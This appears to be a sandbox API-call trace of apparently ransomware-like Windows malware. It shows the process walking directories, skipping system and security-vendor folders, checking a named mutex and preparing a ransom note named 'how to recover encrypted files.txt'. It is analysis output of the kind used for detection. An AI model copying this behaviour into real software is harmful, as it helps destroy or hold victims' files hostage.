0xffffffff [0041.749] GetLastError () returned 0x2 [0041.749] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0041.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⍬R䱠@⊤R企@\x18?T\x18\x8f")) returned 0xffffffff [0041.750] GetLastError () returned 0x2 [0041.750] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0041.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="⍬R䱠@袔T企@\x18?T\x18\x97")) returned 0xffffffff [0041.750] GetLastError () returned 0x2 [0041.750] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0041.750] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.750] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.750] GlobalUnlock (hMem=0x44000c) returned 0 [0041.750] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.750] GlobalLock (hMem=0x440004) returned 0x552180 [0041.750] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.750] GlobalUnlock (hMem=0x44000c) returned 0 [0041.750] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.750] GlobalUnlock (hMem=0x440004) returned 0 [0041.750] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.750] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.750] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0041.751] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.751] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0041.751] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 46 [0041.751] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.751] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.751] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0041.751] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.751] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0041.751] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69720, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0041.751] GlobalLock (hMem=0x440004) returned 0x550170 [0041.751] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.751] GlobalUnlock (hMem=0x440004) returned 0 [0041.751] GlobalLock (hMem=0x440004) returned 0x550170 [0041.751] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.751] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.751] GlobalUnlock (hMem=0x440004) returned 0 [0041.751] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.751] GlobalUnlock (hMem=0x44000c) returned 0 [0041.752] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0041.752] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0041.752] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0041.752] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 18 [0041.752] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 28 [0041.753] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.753] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 10 [0041.753] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.753] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 8 [0041.753] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.753] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0041.753] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", cchLength=0x34 | out: lpsz="c:\\program files\\common files\\microsoft shared\\euro\\") returned 0x34 [0041.753] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 13 [0041.753] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.754] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.754] GlobalUnlock (hMem=0x44000c) returned 0 [0041.754] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.754] GlobalLock (hMem=0x440004) returned 0x552180 [0041.754] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.754] GlobalUnlock (hMem=0x44000c) returned 0 [0041.754] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.754] GlobalUnlock (hMem=0x440004) returned 0 [0041.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61cf8, cbMultiByte=3, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\ition\\") returned 3 [0041.754] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0041.754] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.754] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0041.754] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0041.754] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.754] GlobalLock (hMem=0x440004) returned 0x551178 [0041.754] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.754] GlobalUnlock (hMem=0x440004) returned 0 [0041.754] GlobalLock (hMem=0x440004) returned 0x551178 [0041.754] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.754] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.754] GlobalUnlock (hMem=0x440004) returned 0 [0041.754] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.754] GlobalUnlock (hMem=0x44000c) returned 0 [0041.754] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.755] CharLowerBuffW (in: lpsz="MSOEURO.DLL", cchLength=0xb | out: lpsz="msoeuro.dll") returned 0xb [0041.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0041.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0041.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL", lpUsedDefaultChar=0x0) returned 63 [0041.755] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0041.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\EURO\\MSOEURO.DLL", lpUsedDefaultChar=0x0) returned 4 [0041.755] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0041.755] GetLastError () returned 0x12 [0041.755] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0041.755] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.755] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.755] GlobalUnlock (hMem=0x44000c) returned 0 [0041.756] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.756] GlobalLock (hMem=0x440004) returned 0x552180 [0041.756] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.756] GlobalUnlock (hMem=0x44000c) returned 0 [0041.756] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.756] GlobalUnlock (hMem=0x440004) returned 0 [0041.756] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d18, cbMultiByte=3, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\ition\\") returned 3 [0041.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0041.756] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0041.756] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.756] GlobalLock (hMem=0x440004) returned 0x550170 [0041.756] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.756] GlobalUnlock (hMem=0x440004) returned 0 [0041.756] GlobalLock (hMem=0x440004) returned 0x550170 [0041.756] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.756] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.756] GlobalUnlock (hMem=0x440004) returned 0 [0041.756] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.756] GlobalUnlock (hMem=0x44000c) returned 0 [0041.756] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.756] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.756] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.756] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.756] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.756] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.756] GlobalUnlock (hMem=0x44000c) returned 0 [0041.756] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.757] GlobalLock (hMem=0x440004) returned 0x553188 [0041.757] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.757] GlobalUnlock (hMem=0x44000c) returned 0 [0041.757] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.757] GlobalUnlock (hMem=0x440004) returned 0 [0041.757] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.757] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0041.757] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0041.757] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.757] GlobalLock (hMem=0x440004) returned 0x551178 [0041.757] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.757] GlobalUnlock (hMem=0x440004) returned 0 [0041.757] GlobalLock (hMem=0x440004) returned 0x551178 [0041.757] GlobalLock (hMem=0x44000c) returned 0x553188 [0041.757] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.757] GlobalUnlock (hMem=0x440004) returned 0 [0041.757] GlobalHandle (pMem=0x553188) returned 0x44000c [0041.757] GlobalUnlock (hMem=0x44000c) returned 0 [0041.757] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.757] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0041.757] GetLastError () returned 0x12 [0041.757] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0041.757] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0041.757] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0041.758] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0041.758] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.758] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.758] GlobalUnlock (hMem=0x44000c) returned 0 [0041.758] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.758] GlobalLock (hMem=0x440004) returned 0x552180 [0041.758] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.758] GlobalUnlock (hMem=0x44000c) returned 0 [0041.758] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.758] GlobalUnlock (hMem=0x440004) returned 0 [0041.758] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.758] GlobalLock (hMem=0x440004) returned 0x550170 [0041.758] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.758] GlobalUnlock (hMem=0x440004) returned 0 [0041.758] GlobalLock (hMem=0x440004) returned 0x550170 [0041.758] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.758] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.758] GlobalUnlock (hMem=0x440004) returned 0 [0041.758] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.758] GlobalUnlock (hMem=0x44000c) returned 0 [0041.758] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, 